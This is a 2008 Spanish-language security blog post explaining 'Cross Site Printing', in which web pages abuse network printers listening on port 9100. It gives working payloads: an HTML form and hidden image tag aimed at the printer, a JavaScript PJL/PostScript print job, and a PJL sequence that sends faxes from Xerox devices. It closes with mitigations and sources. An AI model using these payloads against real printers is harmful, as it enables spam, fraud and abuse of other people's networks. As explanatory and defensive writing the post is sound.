Cross Site Printing: Atacando a las impresoras de red

Escrito el 12 enero 2008, 07:00am en Hardware ,Seguridad

Tagged with: , , ,

Basándose en un trabajo de Adrian Crenshaw, Aaron Weaver ha publicado un artículo en el cual detalla una técnica que nos permitiría tomar cierto control de las impresoras de red y haciendo uso de un poco de código JavaScript en una web maliciosa o vulnerable, podríamos iniciar trabajos de impresión, enviar comandos PostScript y en algunos casos enviar hasta faxes, pudiendo así utilizarlas entre otras cosas para realizar SPAM, Phishing y todo lo que a uno se le pueda ocurrir.

El problema

Muchas impresoras de red quedan a la escucha en el puerto 9100 por trabajos de impresión. Para probarlo basta con conectarse vía telnet a la misma, escribir algo y desconectarse, luego del cierre de la conexión la impresora comenzara a realizar el trabajo. Cabe aclarar que las impresoras locales no resultan afectadas (aun) por esta clase de ataques.

Ataque

Una forma simple de comprobar esta técnica es escribiendo en nuestro navegador la siguiente dirección:

http://ip-impresora:9100/

, el navegador establecerá la conexión con la impresora, pero al no tratarse de un servidor web no verá nada en la pantalla, y cuando presione detener o pase el tiempo de espera, la conexión se cerrara y comenzara el trabajo de impresión. El equipo imprimirá las cabeceras de la petición realizada por el navegador, las mismas pueden variar de uno a otro.

Firefox:

GET / HTTP/1.1
Host: impresora-red:9100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Internet Explorer

GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: impresora-red:9100
Connection: Keep-Alive

Si lo que queremos es realizar una impresión desde un web sin que el visitante lo note, podemos insertar una etiqueta de imagen con la ruta apuntando hacia la impresora de red, el navegador intentara cargar la misma pero luego de unos segundos cerrara la conexión al sobrepasar el tiempo de espera, iniciando así la impresión.

Para imprimir un texto más extenso, podemos hacer uso de un formulario y el método POST, especificando la codificación (enctype) en multipart/form-data evitando así que los datos sean codificados y el texto sea mostrado con los saltos de línea incluidos.

<form action=”http://ip-impresora:9100/” id=”msjimp” enctype=”multipart/form-data” method=”Post”>
<textarea name=”msj” id=”msj” wrap=”none” rows=”50″ cols=”100″>
Probando la impresora.
</textarea>
<input type=”submit” value=”Imprimir”>
</form>

Como dije al inicio del artículo, se puede hacer uso de JavaScript para aprovechar un poco mas este defecto, pudiendo así enviar comandos PostScript e imprimir un texto formateado.

var msg=String.fromCharCode(27) + “%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n”
+ “%!PS\r\n”
+ “/Courier findfont\r\n”
+ “20 scalefont\r\n”
+ “setfont\r\n”
+ “72 500 moveto\r\n”
+ “(Your printer is mine!) show\r\n”
+ “showpage\r\n”
+ String.fromCharCode(27) + “%-12345X

Obteniendo así una impresión con fuente Courier tamaño 20 como la de la siguiente imagen:

Cross Site Printing

Enviando Faxes

Algunas maquinas de fax soportan PCL (Fax PCL suele variar de una marca a otra), con lo que podríamos enviar un fax a cierto número telefónico haciendo uso de este lenguaje. Ejemplo con una máquina de fax Xerox:

<ESC>%-12345X
@PJL SET RESOLUTION=400
@PJL COMMENT XRXbegin
@PJL COMMENT OID_ATT_FAX_CONFIRMATION TRUE;
@PJL COMMENT OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_FAX_SEND;
@PJL COMMENT OID_ATT_FAX_TYPE OID_VAL_FAX_TYPE_G3_AUTO;
@PJL COMMENT OID_ATT_FAX_DESTINATION_PHONE “0123456789”;
@PJL COMMENT XRXend

Peligros

Con solo visitar un sitio malicioso o comprometido en su seguridad, sin darnos cuenta podríamos estar enviando trabajos de impresiones o faxes a nuestra red, distribuyendo así lo que el atacante quiera. Los alcances van desde SPAM hasta las clásicas estafas.

No necesariamente debe ser un sitio malicioso o desconocido el que realice este tipo de ataques, un web de nuestra confianza que es vulnerable a un ataque XSS (Cross Site Scripting) podría ser la causa de la llegada de impresiones no deseadas a nuestro escritorio.

Esta técnica también puede ser utilizada en beneficio del atacante, por ejemplo mediante un ataque XSS recopilar información y reenviarla a una impresora a la cual tenga fácil acceso; uno puede imaginarse a alguien avisándonos que nuestro servidor web está siendo utilizado para realizar estafas y fraude en línea, pero nunca que nuestra impresora de la oficina es la protagonista de tanto escándalo.

Soluciones

Una buena forma de contrarrestar este tipo de ataques seria restringiendo el acceso a la impresora, permitiendo solamente trabajos enviados por el servidor de impresión e ignorando las peticiones directas desde otros equipos en la red. Además se debe establecer una contraseña para el administrador de la misma, la mayoría de estas impresoras lo soportan.

Para finalizar, hay que aclarar que esto no es todo lo que uno puede hacer con una impresora desprotegida conectada a la red, es por eso que recomiendo leer el artículo de Adrian Crenshaw, en el se detalla hasta como realizar un ataque de DoS (Denegación de servicio) a la red o la impresora, cambiar el texto del display de la misma, e incluso como realizar Google hacking para encontrarlas.

Articulo basado en las siguientes publicaciones, algunas partes de las mismas han sido traducidas directamente.

Cross Site Printing
http://www.net-security.org/dl/articles/CrossSitePrinting.pdf
http://ha.ckers.org/blog/20080108/cross-site-printing/

Adrian Crenshaw: Hacking Network Printers
http://www.irongeek.com/i.php?page=security/networkprinterhacking

Las impresoras de red pueden ser manejadas desde sitios web maliciosos para imprimir spam
http://www.kriptopolis.org/spam-en-impresoras-de-red

PC World: Coming Soon: Spam on Your Printer From the Web
http://www.pcworld.com/article/id,141239-pg,1/article.html

JavaScript Spam
http://ha.ckers.org/blog/20070325/javascript-spam/

# Martin Aberastegue
# http://www.rzw.com.ar

Los comentarios están cerrados para este artículo.